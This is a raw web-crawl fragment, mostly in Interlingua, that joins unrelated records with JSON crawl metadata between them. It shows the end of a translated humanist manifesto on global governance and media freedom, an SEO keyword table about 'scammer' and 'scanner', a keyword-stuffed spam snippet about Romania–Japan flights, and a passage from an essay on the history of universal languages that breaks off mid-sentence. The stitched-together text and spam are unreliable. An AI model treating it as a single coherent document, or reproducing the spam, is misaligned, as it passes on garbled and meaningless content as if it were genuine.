Super le base de iste impostos on deberea conceder creditos pro donationes caritative destinate al disveloppamento human e social. Il deberea esser seriemente considerate le possibilitate de un imposto super le transferimento de fundos international a fin de imponer impostos a fundos que escappa a illos de altere maniera e adjutar con iste moneta a financiar le disveloppamento social del paises le plus povre. Multe statos membros refusa pagar lor debitos al Nationes Unite. Iste statos deberea esser blasmate e a illos deberea esser imponite mesuras plus forte, como le mulcta. Iste fundos deberea anque permitter le cancellation selective de debitas troppo pesante pro le paises plus povre que es incapace de pagar.\n+ Sexto, le disveloppamento de institutiones global deberea includer alicun procedura pro le regulation del corporationes multinational e del monopolios statal. Isto èxcede le mandatos existente del Nationes Unite. Nos debe incoragiar le economias de libere mercato, ma nos non pote ignorar le necessitates planetari del humanitate como un toto. Sin controlo le megacorporationes e le monopolios probabilemente prejudiciara al derectos human, al ambiente e al prosperitate de certe regiones del mundo. Le extreme disparitates inter le sectores ric e subdisveloppate del planeta pote esser superate per incoragiar le auto-adjutas, ma anque activante le ricchessa del mundo de provider capital, adjuta technic e assistentia educational pro le disveloppamento economic e social.\n+ Septimo, nos debe mantener vive le libere mercato de ideas, respectar le diversitate de opiniones, e conservar carmente le derecto de dissider. Il ha dunque un necessitate forte de opponer resistentia al controlo del medios de communication, sia per governamentos national, sia per potente interesses economic, o per institutiones global. Le dictaturas ha usate le medios pro scopos propagandistic eliminante le punctos de vista alternative. Le medios de massa in le societates capitalista es frequentemente sub le controlo de oligopolios. Iste medio de communication cede facilemente al denominator le plus commun a fin de maximisar lor position. Le factos es ignorate in le acceptation non-critic de qualcunque charlataneria del New Age, durante que reportos de miraculos gania plus tempore de emission que le ultime discopertas scientific. Multe medios - TV, radio, films, publicitate - apparentemente senti pauc obligation de provider un contento factual o educational.\nNos rejecta qualcunque forma de censura, sia practicate per le governamentos, le publicistas o le proprietarios del medios de communication. Deberea esser incoragiate le competition in le medios per le creation de media public e sin scopo de lucro e on deberea resister a tote movimento verso le monopolio o verso le controlo oligarchic. Deberea esser incoragiate le movimentos popular voluntari pro surveliar le medios e pro denunciar lor excessos le plus crasse. Il ha un necessitate special de mantener libere le accesso al medios de communication. Isto significa que necun poter de medios oligopolic ni necun nation-stato deberea dominar le media. Il es necessari crear un movimento democratic mundial que permitte le diversitate e le inricchimento cultural e un libere excambio de ideas.\nOPTIMISMO SUPER LE PROSPECTOS HUMAN\nFinalmente, e forsan le plus importante, como membros del communitate human de iste planeta nos ha besonio de generar un senso de optimismo super le prospectos human. Ben que multe problemas pote parer intractabile, nos ha bon rationes pro creder que nos pote emplear nostre melior talentos pro resolver los, e que con bon voluntate e dedication es realisabile un vita melior pro un numero sempre plus grande del membros del communitate human. Le Humanismo Planetari offere grande promissas pro le humanitate. Nos vole cultivar un senso de meravilia e de excitation re le opportunitates potential pro le realisation de vitas inricchite pro nos ipse e pro le generationes que debe ancora nascer. Le ideales es le progenitores del futuro. Nos habera successo solo si nos decide facer lo assi; e nos non vole decider facer lo assi, si nos non ha le confidentia que nos pote succeder. Tote le optimismo que nos genera debe certemente esser basate super un perception realistic del possibilitates de realisation, ma nos ha besonio de esser motivate per le fiducia que nos pote superar le adversitate.\nLe Humanismo Planetari rejecta le philosophias nihilista de destruction e de despero e los que consilia abandonar le ration e le libertate, los que presagi pavor e maladias, e que es obsedite per le scenarios apocalyptic de Armageddon. Le specie human ha sempre affrontate defias. Isto es le historia constante de nostre aventura planetari. Como humanistas nos exhorta hodie, como in le passato, le humanos a non cercar le salvation ultra se ipse. Solo nos es responsabile de nostre proprie destino e le melior que nos pote facer es reunir nostre intelligentia, nostre corage e nostre compassion pro realisar nostre plus alte aspirationes. Nos crede que un bon vita es possibile pro totes e cata persona del societate planetari del futuro. Le vita pote esser plen de significato pro illes qui vole assumer le responsabilitate e facer le effortios cooperative necessari pro complir su promissa. Nos pote e debe contribuer a crear le nove mundo de deman. Le futuro pote esser san e generose e pote aperir nove perspectivas audace e excitante. Le Humanismo Planetari pote contribuer significativemente al disveloppamento de attitudes positive tanto necessari si nos vole realisar le inequalabile opportunitates que attende le humanitate in le tertie millennio.\nLe personas qui subscribe iste documento cerca seriemente confraternitate con le diverse culturas del mundo, includite le grande traditiones religiose del planeta. Nos crede que il es urgente que nos nos effortia pro trovar terrenos commun e pro cercar valores commun. Il es necessari entrar in un continue processo de excambios de ideas - non simplemente con illes qui es de accordo con nos, ma anque con qui ha opiniones differente. In medio de nostre diversitate e del pluralitate de nostre traditiones, nos debe recognoscer que nos totes es parte de un extense familia human, que vive in un habitat planetari commun. Le successo ipse de nostre specie ora menacia le futuro del existentia human. Nos es le sol responsabiles pro nostre destino collective. Pro resolver nostre problemas, nos requirera le cooperation e le sagessa de tote le membros del communitate mundial. Il es in le poter de cata esser human facer un differentia. Le communitate planetari es nostre proprie communitate, e cata uno de nos pote adjutar a facer lo florer. Le futuro es aperte. Eliger es in nostre manos. Insimul nos pote realisar le fines e ideales le plus nobile del humanitate.\nLe personas qui subscribe le Manifesto Humanista 2000 non es de accordo necessarimente con cata proposition in illo. Ma nos accepta su principios fundamental e lo offere pro contribuer a un dialogo constructive. Nos invita altere homines e feminas qui representa altere traditiones a unir se con nos pro laborar pro un mundo melior in le societate planetari que es emergente ora.","id":"","dump":"CC-MAIN-2021-25","url":"http:\/\/interlingua-nld.com\/site\/n83.htm","date":"2021-06-19T08:42:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487647232.60\/warc\/CC-MAIN-20210619081502-20210619111502-00490.warc.gz","language":"ina","language_score":0.9999654293,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9999654293060303}","num_words":15647,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":450.9,"cluster_detection":-1} +{"text":"|Keyword||CPC||PCC||Volume||Score|\n|que es un scammer||0.34||0.2||8963||44|\n|que es un spammer||0.04||1||1778||35|\n|que es un scams||1.65||0.5||1222||43|\n|que es un scanner||1.84||0.2||1148||90|\n|que es un scanner automotriz||0.83||0.3||3619||69|\n|que es un scanner en java||1.87||0.9||1561||96|\n|que es un scanner de puertos||1.6||0.3||2858||42|\n|que es un scanner de computadora||1.6||0.1||8345||79|\n|que es un scanner 3d||1.4||0.5||5690||44|\n|que es un scanner con contraste||1.89||0.8||9033||55|\n|que es un scanner en medicina||1.64||1||8179||52|\n|que es un scanner automotriz wikipedia||1.13||0.8||234||59|\n|que es un scanner cerebral||0.28||0.2||8346||44|\n|que es un scanner médico||0.44||0.8||8842||74|\n|que es un scanner y cual es su función||1.1||0.2||2176||70|","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.keyword-rank.com\/search\/que-es-un-scammer","date":"2023-09-21T12:03:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00319.warc.gz","language":"ina","language_score":0.5706631541,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5706631541252136, \"oci_Latn_score\": 0.09112287312746048, \"ile_Latn_score\": 0.07685107737779617, \"spa_Latn_score\": 0.06272623687982559, \"ksh_Latn_score\": 0.040801629424095154, \"nds_Latn_score\": 0.01805424876511097, \"fra_Latn_score\": 0.01105200219899416, \"pfl_Latn_score\": 0.010919852182269096}","num_words":131,"character_repetition_ratio":0.252,"word_repetition_ratio":0.016,"special_characters_ratio":0.556,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":0.564,"perplexity_score":11012.3,"cluster_detection":-1} +{"text":"romania japonia romania japonia, romania japonia avion, bilete de avion romania japonia romania japonia. There are any references about romania japonia in here. you can look below. romania japoniaromania japonia romania japonia avionromania japonia avion bilete de avion romania japoniabilete de avion romania japoniaromania japonia, romania japonia avion, bilete de avion romania japonia","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/beli.club\/product\/1005003094714077\/t30-drone-batteries-original-29000mah-capacity-intelligent-flight-battery-drone-agras-t30-battery","date":"2023-12-10T18:12:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679102612.80\/warc\/CC-MAIN-20231210155147-20231210185147-00870.warc.gz","language":"ina","language_score":0.9267072678,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.9267072677612305, \"ron_Latn_score\": 0.022797567769885063, \"ile_Latn_score\": 0.011872846633195877}","num_words":102,"character_repetition_ratio":0.34,"word_repetition_ratio":0.301,"special_characters_ratio":0.152,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.928,"perplexity_score":5094.1,"cluster_detection":-1} +{"text":"PRIME PARTE\nINTRODUCTION AL STUDIO HISTORIC DEL LINGUA UNIVERSAL\nCap. 1 - VISION HISTORIC DEL LINGUA UNIVERSAL\nCap. 2 - LINGUA UNIVERSAL: NATURAL O ARTIFICIAL\nCap. 3 - LE REVOLUTION DEL INTERLINGUISTICA\nCap. 1 - VISION HISTORIC DEL LINGUA UNIVERSAL\nLe lingua universal es parte organic del plus grande civilisationes historic.\nLe vision historic es sovente le clave al solution de un problema. Le experientia demonstra que, quando nos cognosce le historia del tentativas, nos ha un guida efficace pro le solution de un problema. Dunque nos ha interesse a studiar le historia del passato pro discoperir, pro trovar experientias usabile tamben pro nostre problema actual. Question pro nos es: Pote le studio del historia dar nos tamben un guida efficace pro le solution del problema 'Lingua Universal'? Certo! Le studio approfundite del historia del grande civilisationes antique da nos un responsa clar e positive: Le lingua universal presenta se como parte organic inevitabile del plus grande civilisationes historic. Nostre deber e le scopo de iste presente labor es demonstrar iste factos historic.\nNos incontra sovente le prejudicio, que le humanitate era sempre e va esser sempre divise per barrieras lingual. Iste prejudicio eveni del ignorantia historic. Al contrario, le studio approfundite revela, que le populos historic era sempre in contacto a traverso le barrieras lingual per medio del trafico. Facto es que jam le populos primitive, parlante linguas diverse, era in contacto, e que per iste contactos formava se mixturas lingual. Effectivemente le linguas antique era linguas mixte.\nLe linguas del mesme civilisation consiste in elementos de due species distincte: primo le parolas e structuras que se trova in un sol lingua (le elementos 'esoteric' = secrete), specific de iste lingua, incomprensibile al estranieros; e secundo, le parolas e structuras que se trova in plure o omne linguas (elementos commun, comprensibile al estranieros. - Le proportion inter esoteric e commun depende del intensitate del traffico con estranieros: Quanto plus intensive es le traffico, tanto plus numerose son le elementos commun. Dunque le populo qui ha le traffico le plus intensive con estranieros, developpa un lingua, in le qual le elementos commun es le plus grande inter omne linguas del epoca. Le historia demonstra que certe populos multo dinamic, trafficante multo con estranieros, inricchiva lor linguas tanto con elementos commun e reimplaciava lor elementos specific (esoteric) con elementos commun, que lor linguas poteva servir pro le comprension facile, quasi sufficiente con estranieros, poteva servir como pontes lingual, como 'lingua ponte'.\nDe facto, in succession continue, le linguas akkadian, aramaic, greco e grecolatin, serviva como superlingua, lingua ponte, inter populos parlante linguas diverse.\nLingua franca.\nOra, con estranieros on cerca parlar in modo le plus simple possibile. In consequentia le linguas que servi como lingua ponte, veni sensibilemente simplificate. In scientia linguistic on parla de 'lingua franca', quo significa: lingua quasi sin grammatica. Tal lingua franca, in initio excessivemente primitive, lingua del commerciantes migrante ultra le frontieras, developpava se. In tempores de pace durabile e de contactos cultural inter le populos parlante linguas diverse, le lingua franc deveni ric e capabile a exprimer materias e ideas de omne genere. Pois, quando le grande imperios del antiquitate habeva unite omne populos civilisate in un stato universal, le autoritates videva interesse in usar le lingua franc tamben in le armea, in le administration, jurisdiction pro le populos parlante linguas diverse, ma comprendentele lingua franc. In plus le lingua franc deveniva tamben lingua del scientia e del literatura, - lingua de omne personas, qui sub le mesme domination participava al mesme cultura commun.\nTal developpamento repeteva se desde le aurora del civilisation, successivemente in le Imperios Sumerio-Akkadian, Medo-Persian, de Alexandro e de Roma. Le humanitate ha sempre superate le barrieras lingual, e le plus grande civilisationes formava lor linguas universal. Ass? nostre ancestres ha trovate le solution del problema del lingua universal ja quatro veces durante le ultime quatro mille annos: Le lingua franc del epoca, le lingua del parolas commun, deveni lingua del stato universal e de facto lingua universal.\nCyclo del lingua universal.\nOra, si nos considera iste phenomeno ciclic in le historia quatro-millenari del lingua universal, e vide, como tamben nostre linguas se developpa, nos arriva a recognoscer que le movemento ciclic lingual continua in nostre dies, e in qual fase nos sta: Le plure mille parolas commun in le linguas moderne son quasi elementos commun de un lingua ponte 'in stato de nascentia', ex le qual va developpar se le futur lingua universal del civilisation moderne. Previdente tal developpamento le autor permitte se, scriber iste studio - tentativemente e in modo exemplar - in un lingua franc del parolas plus-minus universalmente commun in le moderne linguas decultura. Ante continuar a persequer le grande linea de nostre essayo, il sembla utile necesse examinar particularmente certe notiones e expressiones, que sta como elementos fundamental in le construction e concretisation de nostre vision.\nQue es cultura? - Qual cosa es civilisation?\nCULTURA es le nomine collective de omne activitates human que crea valores social, como lingua, religion, agricultura, economia, tecnica, arte, architectura, literatura, scientia, philosophia etc. Iste valores son transmisse de un generation al altere per medio de tradition et education.\nCIVILISATION es un specie de cultura. Civilisation existe durante un epoca particular e crea un societate organisate e consolidate, in le qual omne participantes pote viver unite, como membros de un grande communitate.\nCon certe approximation on pote dicer, que civilisation es le infrastructura, preponderante material, del societat; e cultura es le superstructura preponderantemente spiritual del societate. Civilisation es le minime unitate in studio historico-cultural, a qual nos arriva, quando nos cerca comprender le historia cultural de un pais. Si per exemplo, nos vole comprender le historia del USA, del Statos Unite de America, nos non va comprender le origine del cultura e del institutiones american, como governamento federal e representative, democratia, industrialismo, monogamia, cristianismo etc. Pro comprender nos debe reguardar ultra le frontieras del USA, verso Europa e tamben ultra le presente: in le passato historic de West-Europa, in le seculo ante que Columbo habeva transversate le Atlantico. Totevia, pro facer comprensibile le historia cultual e le institutiones american, non es necesse reguardar in le spatio ultra West-Europa (verso le Oriente) e tampoco in le tempore ante le origine del civilisation grecoroman. Iste limites de spatio e de tempore defini un grande unitat, un grande societate, in le qual participa le Statos Unite, le Grande Britannia, Canada, Australia, Espania, Portugal, Finlandia, Checoslovakia, Polonia, Germania, Hollanda, Belgio, Danmark, Svedia, Norvega, Hungaria, Rumania. Nos pote nominar istesocietat: le Civilisation Cristian-Occidental.\nIn modo analoge,si nos commencia con Russia, Grecia e Yugoslavia, Bulgaria, e nos cerca comprender lor historia cultural e institutional, nos arriva al civilisation Cristian Ortodoxe. Analogicamente, si nos comencia con Marocco, Algeria, Egypto moderne, Syria, Irak, Pakistan e Afganistan, e nos cerca comprender lor historia e le institutiones, nos arriva al civilisation islamic. - Comenciante con India o Ceylon, nos arriva al civilisation Hindu. Commenciante con China, Japon o Corea, nos arriva al civilisation Extrem ORIENTE.\nUn civilisation irradia ultra le frontieras de un stato o nation, dunque non es limitate a un stato o nation, ma include plure communitates national, que possede un tresor de tradition commun. Pro le studio culturhistoric, le limites geografic, historic e cultural de un pais es troppo restricte. Le minime Unitate in un tal studio es le quadro e terreno de un civilisation.\nUn civilisation include plure communnitates national, le quales possede lor tresor de tradition commun in lor aspectos essential. Le civilisation es plus antique que le statos appertinente al commun civilisation. Le civilisation occidental existe desde mille trescento annos, contra que le regnos de Anglaterra o de Hungaria existe desde mille annos - e le Statos Unite de America desde minus que duo cento annos. Le statos ha un vita relativemente breve, contra que le civilisationes ha un vita relativemente longe. Le civilisation occidental ha viste le disparition del Monarchia Austro-Hungarian e va vider ancora le disparition de altere statos.Dunque nos recipe un melior vision del historia, si nos studia civilitiones vice statos.\nLe SOCIETATE es un COMMUNITATE organisate de personas qui apprende laborar unite. Le COMMUNITATE es un gruppo de personas non necessarimente organisate, ma unite per le voluntate e capacitate pro conviver e collaborar. Nos cognosce societates non civilisate e societates civilisate. Un specie particular de societate es le ECCLESIA - multo importante, como nos va vider - pro le lingua universal. Quo es Ecclesia? Pro comprender nos debe saper que civilisationes son phenomenos ciclic, que veni e va via, phenomenos que emerge e dispare. Le alternante ascension e declino de civilisationes servi al emergentia e crescentia del religion, como nos va explicar in le quarte parte de nostre studio. Hic in breve: Collapso e disintegration de civilisationes es stimulo que produce plus alte intuitiones in religion. Assi, un del plus profunde leges del vita spiritual es le facto, que per suffrentia nos apprende. Le Ecclesia christian nasce ex le travalio spiritual causate per le collapso del civilisation grecoroman. Cristianismo ha radices judaic e zoroastrian. Judaismo e zoroastrismo nasce ex le collapso del civilisations syrio-aramaic, como nos va vider in le secunde parte de nostre studio. (Le regnos de Juda e de Israel era duo del numerose statos del civilisation syrio-aramaic). Le prematur extinction del statos Juda e de Israel, e le disparition del sperantia pro un nove independentia politic, faceva nascer le religion del Judaismo. Judaismo habe su radices in le Mosaismo, que eveni ex le collapso del antique civilisation egyptian. Le precursor de Moses es Abraham, qui recipe su illumination in le seculos dece-none ante Cristo per le collapso del Stato Universal de Sumer e Akkad, vehiculo del plus antique civilisation cognite.\nCIVILISATIONES son phenomenos ciclic que ascende e declina. Al contrario: le religiones superior, como nos va vider, non es ciclic, ma linear, in tanto que le religiones subsequente representa un sempre plus alte nivello de intuition, de intellection e de developpamento spiritual.\nLe ECCLESIA es un societate adherente a un religion superior.\nUn religion superior es basate super un fide destinate a portar le homine in spiritual communion directe e individual con un mundo metaphysic, con un ESSER plus alte del homine (transhuman) creator del homine. Dunque ecclesia es le vehiculo institutional del contento spiritual, del contento spiritual de un religion superior, in tanto que institutiones es physic relationes organisate e formalisate inter un grande numero de individuos.\nLe plus cognite INSTITUTIONES es: totem, tabu, matrimonio, societat, nation, stato, rito, religion e LINGUA. Civilisation e ecclesia es portate per le rete del societate.\nSocietate, civilisation e ecclesia son inseparabile. Omne rete social es vehiculo de cultura e lingua. Il es impossibile studiar un linqua efficacemente sin studiar le cultura, le societate, le civilisation e le ecclesia conjuncte con le lingua.\nLe essentia del LINGUA UNIVERSAL\nQue es Lingua Universal? Lingua universal es un specie superior de lingua, parlate per omne homines participante in un civilisation o un ecclesia.\nLe lingua universal es producto typic del civilisation. Durante que le origine del lingua es anterior al civilisation, le lingua universal nasce in le civilisation. Per exemplo, le latino es cognite como lingua universal del mundo civilisate durante multe seculos del passato. Totevia, nos non pote comprender le essentia e le rolo del lingua universal, si nos limita nostre studio al latino, proque le historia del lingua es incomprensibile sin lingua universal anterior: le greco.\nE tamben le developpamento del greco es inexplicabile sin tener conto del influentia del mundo oriental, le qual parlava un lingua universal anterior al greco: le aramaico. E le aramaico es solmente un secunde edition aggrandite e meliorate de un lingua universal anterior al aramaico: del akkadiano. Ass?, pro comprender le essentia del lingua universal, nos debe extender nostre studio al minus quatro mille annos del passato. Nos va tractar le historic linguas universal specialmente in le tertie parte del studio: \"Lingua, lingua franca, lingua universal\".\nIn nostre epoca nos non possede un lingua universal usate como le quatro linguas universal historic. Totevia, jam existe un commun lingua latente inter omne participantes del cultura occidental - que es ora jam diffuse in le tote mundo. Le lingua latente consiste in le multe mille vocabulos e structuras commun in le presente linguas del cultura mundial.\nNostre studio face appello al lector, vole facer a ille consciente, le historic existentia e continuitate indubitabile del lingua universal; in quanto lingua universal es un regular producto del grande civilisationes.\nLe essentlal discoperta developpate per le presente studio es le facto, que lingua universal es un producto del evolution historic, como le homine mesme. Le realitate intime del humanitate es le historia. Le historia ha formate le humanitate, su obras e su lingua. Le lingua universal (como le lingua generalmente) es un phenomeno human, - e, de natura omne phenomenos human es continuemente in movimento, in tempore e in spatio. Dunque le studio del lingua universal, in tempore debe esser genetic e historic. De plus, nos non pote studiar le lingua, tampoco le lingua universal, in se mesme.\nLe lingua es un parte del vita; e vita debe esser studiate in su realitate integre, que es inseparabilemente liqate, unite con su contexto social, economic e historic. Qui omitte le contexto e tracta solmente le aspecto linguistic, non tracta le realitate integre, ma solo un abstraction anemic del realitate.\nLe studio del phenomenos human es indivisibile. Nos non pote studiar le problema del lingua universal sin studiar le civilisation, que ha producte le lingua universal, proque le lingua universal es parte integral del civilisation. Como le signification precise de un parola resulta ex le contexto, le signification de un phenomeno resulta ex le contextura de phenomenos, in le qual le phenomeno emerge. Ora, le lingua universal appare in inseparabile union con le civilisation. Pro comprender le phenomeno del lingua universal, nos debe studiar le phenomenos del civilisation. Le historicitate essential del lingua universal es conjuncte con le historicitate essential del civilisation. Ambes son producte per historia, per experientia collective del homines de un epoca. Historicitate essential da nobilitate essential al lingua universal. Un lingua sin historia es sin nobilitate cultual e sin capacitate de exprimer le valores traditional del cultura. Un lingua es un realitate cultural in quanto iste lingua ha historia. Un lingua sin historia non ha realitate cultural. Le producto de cultura, de civilisation e de lingua es un longe processo historic. Le studio de tal processo es le linguistica. - Le realitate essential, intime del lingua universal, es le historia de omne linguas cultural, le quales converge verso formas commun. Le lingua universal es le expression del commun cultura del lingua. Le studio del convergentia del linguas verso formas commun es le interlinguistica.\nIn tal senso le compilation de linguages artificial sin historia, secundo le ideas individual, non es interlinguistica, ma 'phantascientia'. Le realitate intime del lingua es le presentia del passato in le lingua. Un lingua de cultura existe in quanto le lingua continua su passato. Le realitate del lingua universal ora nascente, es le presentia del commun passato de omne linguas cultural in le lingua universal nascente. - Le lingua universal de nostre epoca va esser le continuation del commun passato de omne linguas cultural.\nTotevia, le continuation de un tradition cultural e linguistic non es le mesme cosa que le integral conservation de un passate stato del societate del cultura e del lingua - cosa impossibile, proque le essentia del vita, del societate, del cultura e del lingua es cambiamento e developpamento.\nNostre studio vole esser un contribution al historia del developpamento e al futur con junctura del 'phenomeno lingual universal'. Nos non pote arrivar a iste scopo solmente per amassar un collection de factos historic, como on realisa un collection de antiquitates o timbros postal. Un tractamento scientific debe cercar le leges que governa le phenomenos. Dunque nos debe cercar establir le leges de nascentia, crescentia e decadentia del linguas universal .. Ante establir le leges nos debe perscrutar le factos, al quales le leges va esser applicabile.\nCIVILISATION E LINGUA UNIVERSAL\nLe genese del lingua universal coincide con le genese del civilisation. Le vision historic e genetic del interdependentia de civilisation e lingua universal es certemente un vision revolutionari. Qui aspira a un moderne lingua universal debe familiar se con iste interdependentia. In iste nostre studio nos cerca demonstrar factos e fortias que governa le interdependentia de civilisation e lingua universal. In tal maniera nos va ganiar un vision profunde in le processo del genese de linguas universal, e nos va discoperir le leges del genese e del developpamento. Le autor non parti de hipoteses o teorias, ma prefere sequer le metodo empirico-inductive, que consiste in le collection de factos e in le tentativa de organisar iste factos a un succession regular, subjecte a leges natural.\nLe studio del phenomenos human es indivisibile. Nos non pote studiar le problema del lingua universal sin studiar le civilisation, que ha producte le lingua universal; proque le lingua universal es parte integral del civilisation. Como le signification precise de un parola resulta ex le contexto, le signification de un phenomeno resulta ex le contextura de phenomenos, in le qual le phenomeno emerge. Ora, le lingua universal appare in inseparabile union con le civilisation. Pro comprender le phenomeno del lingua universal, nos debe studiar le phenomeno del civilisation. Le historicitate essential del lingua universal es conjuncte con le historicitate essential del civilisation. Ambes son producte per historia, per experientia collective del homines de un epoca. Historicitate essential da nobilitate essential al lingua universal. Un linguage sin historia es sin nobilitate cultural e sin capacitate de exprimer le valores traditional del cultura. Un lingua es un realitate cultural in quanto le lingua habe historia. Un linguage sin historia non habe realitate cultural. Le producto de cultura, de civilisation e de lingua es un longe processo historic. Le studio de tal processo es le linguistica. - Le realitate essential, intime del lingua universal es le historia de omne linguas cultural, le quales converge verso formas commun. Le lingua universal es le expression del commun cultura del lingua. Le studio del convergentia del linguas verso formas commun es le INTERLINGUISTICA.\nln tal senso le compilation de linguages artificial, sin historia, secundo le phantasia individual non es INTERLINGUISTICA, ma 'phanta-linguistica', non es scientia, ma \"phanta-scientia\". Le realitate intime del lingua es le presentia del passato in le lingua. Un lingua de cultura existe in quanto le lingua continua su passato. Le realitate del lingua universal ora veniente es le presentia del commun passato in omne linguas cultural moderne.\nLe historia del CIVILISATION e del Lingua Universal demonstra lor developpamento in le passato. Previder le developpamento futur deveni plus probabile per le facto de lor multiple repetition. Nos habe le fortuna, que le 'PHENOMENO LINGUA UNIVERSAL' recurreva quatro veces. Ergo le phenomeno veni explicabile quasi a fundo. Le essayo hic presentate es un tal tentativa de explication.\nPro nostre epoca? Lingua franca\nLe question del lingua universal in e pro nostre epoca es in multo obscur; tentativas varie de explication e propositiones son controversial. Nos pote explicar melio, e avantiar le problema verso un solution, si nos succede explicar le phenomeno per medio de analogias historic. Il es ver, que un analogia historic non es jammais perfecte, ma le analogia suggere nove considerationes e recercas, si que nos avantia verso un explication plus satisfacente, e un prognostico deveni plus probabile. On obtene resultatos plus fructuose per application de vetere conceptos in nove campo: per exemplo: le vetere concepto de lingua franca, (linguage primitive, lingua quasi sin grammatica) era finora considerate per le linguistas como simptoma degenerative, deveni prodigiosemente productive, si nos applica lo in le campo problematic del lingua universal; nam le historia monstra, que omne linguas universal era precedite de linguas franc.\nIste momento, le recognoscentia del coherentia inter lingua franc e lingua universal, va esser un preciosissime guida in nostre studios et investigationes. Nam ora nos pote - in retrospection - imbraciar le complete e finite historia de quatro grande linguas universal, que omnes functioava perfectemente durante multe seculos.\nInterregno:\nIn iste luce nos recognosce nostre situation actual como 'interregno' inter le evanescente latino e un nascente nove ver lingua universal. Tal studio es illuminante, proque ex le lection del historia nos pote concluder le leges natural de nascentia, vita et evanescentia del lingua universal in general. Con tal recognoscentias nos pote previder character e natura del nove lingua universal natural, como nos va vider in le 2. e 3. parte de nostre studio, ubi iste tema es developpate in extenso. RECOGNOSCENTIAS HISTORIC illumina presente e futuro.\n1. Omne historic linguas universal era plus o minus immediatemente comprensibile a omne homines participante in le cultura del epoca. Le linguas universal era sempre le lingua de homines plus o minus culte. Le multitude inculte del populo usava solmente le linguas regional, que era in casos plus o minus simile o completemente differente del lingua universal.\n2. Le lingua universal era usate per homines, qui besoniava un lingua international. Totevia, le lingua universal era un lingua international. In plus le lingua universal era sempre un lingua simple, plus o minus simile al altere linguas del epoca, de maniera que, in le grande inquadramento del Stato Universal, omne homines plus o minus culte poteva comprender et usar le lingua universal con facilitate. Ergo le nove lingua universal va probabilemente esser un lingua plus o minus comprensibile pro homines culte de nostre epoca.\n3. Omne linguas universal era linguas natural hibridate, ex linguas natural vivente, sin artificial inventiones e sin deformationee scematic. Tamben le futur lingua umiversal va esser formate per medio de un processo de hibridation de linguas natural, sin inventiones artificial e sin deformationes scematic.\n4. Omne linguas universal prendeva in possesso aut hereditava, al minus partialmente le essential elementos de lor predecessores. Ass? le futur lingua universal va hereditar traditiones e sapores de su predecessores e va dunque esser le partial continuation etymologic del latino.\n5. Omne linguas universal incorporava se, al minus partialmente, le parolas e structuras grammatic commun in le linguas del cultura del epoca. Assi le nove lingua universal de nostre epoca va incorporar se elementos commun del principal linguas de cultura. Le lingua universal nascente non va substituer natural parolas per artificial vocabulos e derivationes. Le nove lingua universal va esser le denominator commun del presente linguas de cultura.\n6. A partir del akkadiano, omne subsequente linguas universal era ponte linguistic pro un plus grande territorio lingual e pro un plus grande territorio cultural que su predecessores. Dunque le nove lingua universal va superar le extension del latino e va unir le tote cultura del terra.\n7. In omne casos historic, le lingua, que plus tarde deveniva lingua universal, era multo ante jam usate como lingua franc. Esde lingua franc, in su initio vermente primitive, arrivate postea, in uso extensive, a un grado superior de maturitate e de cultura, et alora solo, le officios statal recognosceva lor interesse in usar le lingua franc tamben in le officios. Similemente un futur lingua universal sta desde annos in practic servicio in international organisationes: Servicio moderne de LINGUA FRANC.\n8. Necun lingua universal veniva introducte per reflectiones philosophic o per entusiasmo sentimental, sed per homines practic con senso real. Dunque on pote previder que un moderne lingua universal va tamben facer su start per servicios practic in le mundo international, in servicio de gente con senso realistic.\n- * *\nA nostre lectores:\nVos ipse pote constatar, que le lingua, in le qual nos scribe iste essayo, satisface in omne punctos supramentionate:\nle lingua del presente studio es le continuation de omne traditiones cultural e linguistic del moderne linguas de cultura.\nnostre lingua es plus comprensibile pro homines culte moderne que su predecessor, le lingua latin, ma nonobstante satis intelligibile pro latinistas.\nNostre lingua ja serve desde 1950 in relationes international scientific como lingua de summarios in periodicos e congressos medical. Il ha multilingual dictionarios scientific.\nLe lingua del presente studio non es propaganda solo per entusiastas, ma offere practic servicio a omnes, qui desira superar le barrieras lingual, quasi sin studio. Necun altere lingua pote offerer servicios de tal universal efficientia.\n- * *\nLe quatro linguas universal historic e le nove lingua universal nascente son cronologicamente subsequente, ma tecnicamente equivalente, pro scopos clar analoge. Le quatro linguas univ. historic es quatro stratos linguistic accumulate per le mesme effortios human pro superar le barrieras lingual. Le vision del tecnic equivalentia del historic lingua universal pote guidar le amicos del veniente lingua universal al conviction que le 'phenomeno lingua universal' es portate per irresistibile fortias historic, ducente los in le direction del nove lingua universal natural.\nPro retraciar le historia del lingua universal nos debe elevar nostre clar vision ultra, supra detalios, pro cercar connexiones general e comprensive a recognoscer le grande lineas del developpamento secular e millenari.\nNos va demonstrar le existentia de fortias historic, que perveni a producer un lingua universal. Intertanto nos sape que le fortias historic - de natura spiritual - son potentissime.\nOmne amicos del lingua universal debe cognoscer iste fortias historic e diriger se in accordo con eite fortias.\nContra prejudicios: Quanto longe on vive on debe esser preste a corriger errores e false ideas.\nLe scopo de nostre studio es le revision de opiniones inclar e de false ideas: confuse e false concernente le lingua universal.\nFalse es le opinion, que le Lingua universal pote esser constructe.\nLe historia cultural demonstra, que le lingua universal es quasi contemporan con le civilisation, et appare regularmente in omne civilisationes, si e quando illes succede a formar un Stato Universal: un superstato, qui unifica le parve statos regional, antea disunite e bellicose, pacifica e reorganisa los in un imperio consolidate e ben administrate.\nErgo le lingua universal non es un invention human, ma un phenomeno natural: si tosto que le developpamento cultural e social arriva ad un certe grado de contactos inter estranieros appare un lingua franc, que postea deveni toto naturalmente official lingua universal.\nFonte del energia pro lingua universal es un spirito de convergentia innate al homine. Un lingua universal es le incarnation de iste fortia 